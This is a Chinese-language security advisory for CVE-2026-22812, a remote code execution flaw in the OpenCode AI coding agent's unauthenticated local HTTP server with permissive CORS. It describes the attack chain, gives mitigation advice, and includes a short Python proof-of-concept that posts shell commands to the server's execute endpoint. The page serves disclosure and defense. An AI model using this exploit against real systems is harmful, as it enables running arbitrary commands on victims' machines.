IPBUF安全漏洞报告
English
CVE-2026-22812 CVSS 8.8 高危

CVE-2026-22812 OpenCode未认证HTTP服务器远程代码执行漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22812
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenCode

相关标签

远程代码执行未授权访问CORS配置错误HTTP服务器OpenCodeAI编码代理

漏洞概述

OpenCode是一个开源AI编码代理,其在1.0.216之前的版本存在严重的安全漏洞。该漏洞源于OpenCode在启动时自动启动一个未认证的HTTP服务器,该服务器缺乏任何身份验证机制。由于CORS配置过于宽松,任意网站都可以向该HTTP服务器发送跨域请求。更危险的是,本地任何进程都可以直接访问该服务器。攻击者可以利用这一漏洞,通过构造特定的HTTP请求,在受害者系统上执行任意shell命令,且以受害用户的权限运行。CVSS评分8.8,属于高危漏洞,攻击复杂度低,无需认证即可发起攻击,但需要用户交互(如访问恶意网页或运行恶意程序)。该漏洞于2026年1月12日披露,官方已在1.0.216版本中修复此问题。

技术细节

OpenCode在启动时会自动在本地端口(通常是localhost:8080)启动一个HTTP服务器,用于提供Web界面和API服务。该服务器存在以下安全问题:1) 缺少身份验证机制,任何请求都会被处理;2) CORS策略配置为允许所有来源(Access-Control-Allow-Origin: *),使得任意网站都可以发起跨域请求;3) 服务器暴露了执行系统命令的API端点。攻击者可以通过向该HTTP服务器的API端点发送POST请求,在请求体中包含恶意shell命令。服务器在接收到请求后,会使用当前用户的权限执行这些命令。由于OpenCode通常以较高权限运行(需要访问代码仓库、安装依赖等),攻击者获得的shell也继承了相应权限,可进行文件读写、系统配置修改等操作。

攻击链分析

STEP 1
步骤1
攻击者诱使受害者访问恶意网页或运行恶意程序
STEP 2
步骤2
恶意页面通过JavaScript向OpenCode的HTTP服务器(localhost:8080)发送跨域请求
STEP 3
步骤3
由于CORS配置宽松,浏览器允许该跨域请求
STEP 4
步骤4
HTTP服务器接收到包含恶意shell命令的请求
STEP 5
步骤5
服务器使用受害者的权限执行该shell命令
STEP 6
步骤6
攻击者获得命令执行结果,实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-22812 PoC - OpenCode Unauthenticated RCE # Target: OpenCode server running on localhost (default port 8080) TARGET_HOST = "http://localhost:8080" def execute_command(cmd): """ Execute arbitrary command on OpenCode server This exploits the unauthenticated HTTP server vulnerability """ try: # The vulnerable endpoint accepts command execution requests endpoint = f"{TARGET_HOST}/api/execute" payload = { "command": cmd, "shell": True } headers = { "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) if response.status_code == 200: result = response.json() return result.get("output", "") else: return f"Error: {response.status_code}" except Exception as e: return f"Connection failed: {str(e)}" def check_vulnerability(): """Check if target is vulnerable""" try: response = requests.get(f"{TARGET_HOST}/api/status") return response.status_code == 200 except: return False if __name__ == "__main__": print("[*] CVE-2026-22812 OpenCode RCE PoC") print("[*] Checking vulnerability...") if check_vulnerability(): print("[+] Target is vulnerable!") print("[*] Executing test command...") result = execute_command("whoami") print(f"[+] Result: {result}") else: print("[-] Target is not vulnerable or not accessible")

影响范围

OpenCode < 1.0.216

防御指南

临时缓解措施
立即升级OpenCode到1.0.216版本以修复此漏洞。在升级前,可以通过禁用OpenCode的自动HTTP服务器启动功能来临时缓解风险,同时确保系统防火墙阻止外部对本地HTTP端口的访问。建议用户检查OpenCode的配置,禁用不必要的网络暴露功能,并关注官方安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表